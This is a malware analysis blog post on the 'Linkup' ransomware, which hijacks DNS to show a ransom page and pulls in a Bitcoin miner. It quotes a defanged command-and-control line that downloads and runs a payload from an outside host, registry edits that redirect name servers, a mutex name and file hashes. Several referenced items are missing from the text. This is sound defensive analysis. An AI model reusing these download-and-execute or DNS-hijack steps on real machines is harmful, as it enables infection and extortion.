Malware Analysis: Ransomware “Linkup” Blocks DNS and Mines Bitcoins
Over the past week, the Emsisoft Malware Analysis team has been closely following a new ransomware Trojan variant that has been detected by Emsisoft Anti-Malware as Trojan-Ransom.Win32.Linkup.
“Linkup” is an interesting piece of ransomware, because unlike previous models it does not directly lock your computer or encrypt files. Instead, Linkup blocks Internet access by modifying your DNS and can also turn your computer into a bitcoin mining robot.
Protecting Yourself from Linkup
Users running Emsisoft Anti-Malware are automatically protected from Linkup, and should block the program when it is identified as Trojan-Ransom.Win32.Linkup. Users who have been infected by Linkup will be blocked from Internet usage and will encounter the following “website” when attempting to browse.
What is encountered is the typical ransomware form, which in this case demands personal information and a payment method to unlock Internet usage. The form states that you will only be charged EUR 0.01, but this is unconfirmed and most likely a blatant lie. Do not submit any personal information! If your computer has been infected, we advise you to find another means of connecting to the Internet and contacting Emsisoft Support to assist you with removal.
How Linkup Works
Once the Linkup Trojan has been executed, it makes a copy of itself in the
%AppData%MicrosoftWindows directory named
svchost.exe, a fake name meant to mimic a normal file on your computer, which is located in
%windir%system32. To mark its presence in the system, Linkup creates a mutex named
tnd990s. We have also found that Linkup will actually disable selected Windows Security and Firewall services to facilitate infection.
Once established on your PC, Linkup contacts its server to provide it with data related to your machine. It does this by sending a POST request to the following address, transmitted in an encrypted state.
What kind of data is Linkup sending its server? When decrypted the “token” value will look like this:
That’s your unique user id (uid), your version of windows (ver), and the language you’re using — in this case ENU, or United States English. This information helps facilitate infection, as Linkup must know what type of computer it is working with if it is to function.
Linkup also gives itself a layer of redundancy, so that if one host fails it can still communicate with another Command and Control server. Decryption reveals the following Command and Control hosts:
Linkup decrypts the string with the following key:
Further analysis of Linkup’s body reveals another interesting string, which is actually another decryption key:
This key translates commands from Linkup’s server so that the malware can perform them. Upon initial connection, the very first command that is sent looks likes this:
Linkup decrypts this command using its key, turning it into this:
The first command (
IL 184.108.40.206) redirects every HTTP request to the ransomware website, located at
hxxp://220.127.116.11/worlds/test/index.html. At this point, Linkup will then begin to redirect your DNS so that you end up at the ransomware site whenever you browse.
To redirect every single DNS request, Linkup also makes several changes in the Windows registry, including modifying the following:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParametersInterfaces%interfaceGUID% "NameServer" = "127.0.0.1"
%interfaceGUID%"DhcpNameServer" = "127.0.0.1"
Linkup then finalizes this action by refreshing various Internet/connectivity component settings, in order to ensure the changes it made are effective immediately. It does this by running the following commands:
This redirect is malicious enough, but what it so interesting about Linkup is that it doesn’t stop there. Note the second line of the initial command from the server:
RUN hxxp://18.104.22.168/pts2.exe. This command instructs your computer to download and run the file
pts2.exe? A downloader designed to connect your computer to a Bitcoin mining botnet!
Bitcoin Mining Botnet?
The technical processes behind “Bitcoin mining” are complex. For a good summary, consider reading Ken Tiddel’s “Geeks Love The Bitcoin Phenomenon Like They Loved the Internet in 1995,” or Emsisoft’s Attack on Bitcoins.
In the case of Linkup, the most important thing to understand about Bitcoin mining is that if a hacker can get more computing power, he can earn more Bitcoins. That’s why in addition to blocking Internet browsing, Linkup also attempts to connect your computer to a Bitcoin mining botnet, which can combine the computing power of multiple infected computers to earn new Bitcoins for whoever is behind the attack.
Pts2.exe is a downloader, and it’s placed in the same directory as the fake
svchost.exe file we started this analysis out with. Behind the scenes,
pts2.exe is actually formatted as
Update_%random%.exe. This is a .NET based file designed to download and execute another file from
hxxp://22.214.171.124/b.exe and store it in
Upon further analysis, our malware team identified this “other file” to be a self-extracting RAR that extracts several script files and one executable. The SFX script executes a 64-bit PE file, named j.exe, which is
jhProtominer. As the name suggests,
jhProtominer is a Protoshares mining application.
This combination of ransomware and Bitcoin mining is a new and fascinating development. At this point, however, its functionality is still quite limited as the downloaded
jhProtominer only works on 64-bit operating systems. In time, it will be interesting to see if Linkup is modified to download more flexible variants.
Hashes of files analyzed in this article
Trojan-Ransom.Win32.Linkup MD5: f1304992523cd68f7412a355d2fb9d5d SHA1: ce70e50707b456e0e2f086126bdcfa266d5a57ae
pts2.exe (Trojan-Downloader.Win32.Linkup) MD5: 7eb809d8ea5bfe602648752289669632 SHA1: 20bd75b9c47ac075d51783a5f3c5309091c7c6a7
b.exe (Trojan.Win32.Miner - Self-extracting Archive) MD5: 29eea4cd040bff1028d5b6092f22f9bf SHA1: 1b3389328f9ebf706f09445ca0adc5efd2e98f79
j.exe (jhProtominer) MD5: 2e9a71e4ee33d190056e081e6726fa56 SHA1: db355fc276b8174e1753f45dbdf52536f7740316
What do you think about Linkup?
In the coming weeks, Emsisoft’s Malware Analysis team will be keeping a close eye on Linkup, as the malware will inevitably evolve. We have provided this analysis because Linkup represents a new approach to infection, which combines two known techniques — ransomware and Bitcoin mining — to create one potent form of money making malware.
If you have any questions about Linkup, we encourage you to contact Emsisoft Support directly. There, you can share your thoughts or even your own discoveries to help Emsisoft in its mission of making the world a more malware-free place. In the meantime, steer clear of the mines, and have a great (ransomware-free) day!
Protect your device with Emsisoft Anti-Malware.Did your antivirus let you down? We won’t. Download your free trial of Emsisoft Anti-Malware and see for yourself. Start free trial